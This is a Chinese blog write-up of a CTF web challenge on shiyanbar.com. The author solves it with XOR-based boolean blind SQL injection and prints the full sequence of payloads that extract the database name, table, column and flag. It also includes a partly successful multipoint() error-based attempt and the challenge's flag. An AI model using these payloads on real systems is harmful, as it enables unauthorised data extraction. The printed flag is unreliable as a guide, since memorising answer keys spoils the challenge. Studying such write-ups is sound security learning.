今天早上起來發現有人評論說我沒更新實驗吧sql注入3,主要是因為前段時間都去做bugku去了
但是重做這道題發現以前的姿勢不行了,exp()報錯不再溢出,現在不能用這個姿勢,所以這里重新整理了一遍思路,這里也寫了我自己做題的過程並且也寫了我錯誤的思路等等。
實驗吧簡單的sql注入3:
連接:
http://ctf5.shiyanbar.com/web/index_3.php?id=1
方法一:
這道題和前兩道題的區別,這道題的回顯不像上兩道題在下面會回顯你輸入的東西,只會給你返回一個hello!
在上一題里面,我一直靠下面的回顯來判斷那些東西過濾,而且一次就繞過了過濾的東西(主要是因為我看了別人的writeup)
但是這道題沒有下面的回顯那我該咋整呢?
這里就會用到這兩天get到的一個新姿勢,異或注入。
異或注入的知識點並不難,直接看這邊博客你就會懂:https://blog.csdn.net/qq_37873738/article/details/88043659
回到這一道題,這里我們先輸入一個單引號
報錯,所以可以想到這里是字符類型的注入。ok,接下來用到異或注入的知識,當我們輸入 1'^(1)# 時 兩邊為真 結果為假 所以頁面應該是不會返回,
果然沒有返回,所以接下來嘗試 1'^(0)# 這個兩邊一假 結果為真 所以頁面應該有返回 hello
接下來用 1'^(length('你要測試的字符')>0)# 來判斷那些字符被過濾了
首先我手動測試一下,1'^(length('')>0)# 這個語句應該是會返回的,因為 空字符的長度就等於0嘛,這里大於0肯定是假啊, 一真一假返回真,所以頁面應該會返回hello
果然是返回了hello,再測試一下1'^(length('and')>0)# 發現沒有回顯,也就是說and沒有過濾,接下來直接用fuzz跑一下那些過濾那些沒過濾。
結果發現這幾個是被過濾了的,上面的三個可用於基於報錯注入,下面兩個延時注入。
這個過濾對我們第一種方法並沒有什么影響,聰明的你肯定發現,這里只要更換()里的條件,並根據頁面的返回就可以直接猜出答案。
先用如下語句:1'^(length(database())=n)#
更換n的值,知道頁面不回顯,則說明括號里的條件是真
這里先手動改n的值爆數據庫的長度,只有n=4時頁面才不回回顯,說明數據庫長度為4
如下 當n=1,2,3時和當n=4時
這是n=1,2,3的時候
這是n=4的時候
接下來就構造語句爆出庫名,表名,列明
這里一個一個的手工測試很麻煩的,所以可以選擇寫腳本,也可以選擇用burp來跑,我直接上burp
抓包,發送到 Intruder
爆數據庫名字的語句 1'^(ascii(substr(database(),m,1))=n)#
這里我們知道庫名長度為4 m就1-4的變化,直接手動把,后面n就直接1-127 因為ascii 大不了就1-127嘛 結果如下圖
/* 這里我想說,每次我用語句現在瀏覽器里面輸入,然后他會url編碼,然后我再抓包進行fuzzing測試,這樣才會出結果,如果直接再burp里面輸入的話,返回的所有長度都一樣*/
1'^(ascii(substr(database(),1,1))=119)# ascii對應w
1'^(ascii(substr(database(),2,1))=101)# 對應e
1'^(ascii(substr(database(),3,1))=98)# 對應 b
1'^(ascii(substr(database(),4,1))=49)# 對應1
就這樣,得到了數據庫名 web1
接下來就爆表名
先爆表數
1'^((select count(table_name) from information_schema.tables where table_schema=database())=n)# 當n=2時返回的長度都和其他的不一樣,所以這里得到表數為2
爆表的長度
1'^(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=n)# // 這里的length后面是兩個括號,如果只有一個括號的話會報錯,我也不知道為什么。。。。。。
這里長度為4
爆表明
1'^(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),m,1))=n)#
道理和爆庫名一樣,只需修改m和n的值 ,這里爆出表明為 flag,由於第一題和第二題表名列名都是flag 這里猜測列名也是flag(主要是上一次用exp()報錯做出來過,所以這里知道哈哈哈)
爆行flag的長度
1'^(length((select flag from flag))=n)# // 這里的length后面是兩個括號,如果只有一個括號的話會報錯,我也不知道為什么。。。。。。
這里長度為26
爆數據flag
1'^(ascii(substr((select flag from flag),m,1))=n)#
這樣一個一個的測試即可拿出flag
flag{Y0u_@r3_50_dAmn_900d}
我是小白,個人知道的注入方法就四種:
1.union注入,這個再前面我寫了一篇
2.延時注入
3.報錯注入
4.基於布爾的注入
這道題表面上用的是抑或注入,實際上我所用的方法就是基於布爾
這兒推薦一個大神的博客,他沒有用到異或注入,就是直接用的布爾,原理差不多一樣的
https://blog.csdn.net/tc125/article/details/80302386
個人覺得異或注入更容易寫腳本,腳本隔兩天附上。。。。
方法二:
但是我始終覺得不爽,因為這道題的提示是報錯注入,但是我卻始終沒用到報錯溢出信息過,雖然之前我用exp()報錯做出了這道題,但是現在用這個不行了,所以我在網上又搜縮了一下報錯函數
推薦這個博客:https://blog.csdn.net/whatday/article/details/63683187
這里面有十個 有的被過濾了,沒過濾的我一個一個的試
沒想到還真的報了出來,multipoint()可以報出來
1' and multipoint((select * from(select * from(select databse())a)b))#
web1 報出了哈哈哈,接下來報各種的名字
但是,,,當我報表名時 1' and multipoint((select * from(select * from(select group_concat(table_name) from information_schema.tables)a)b))#
出現了這個
和exp()報錯出現的情況一模一樣。。失敗
唉,害的我白高興一場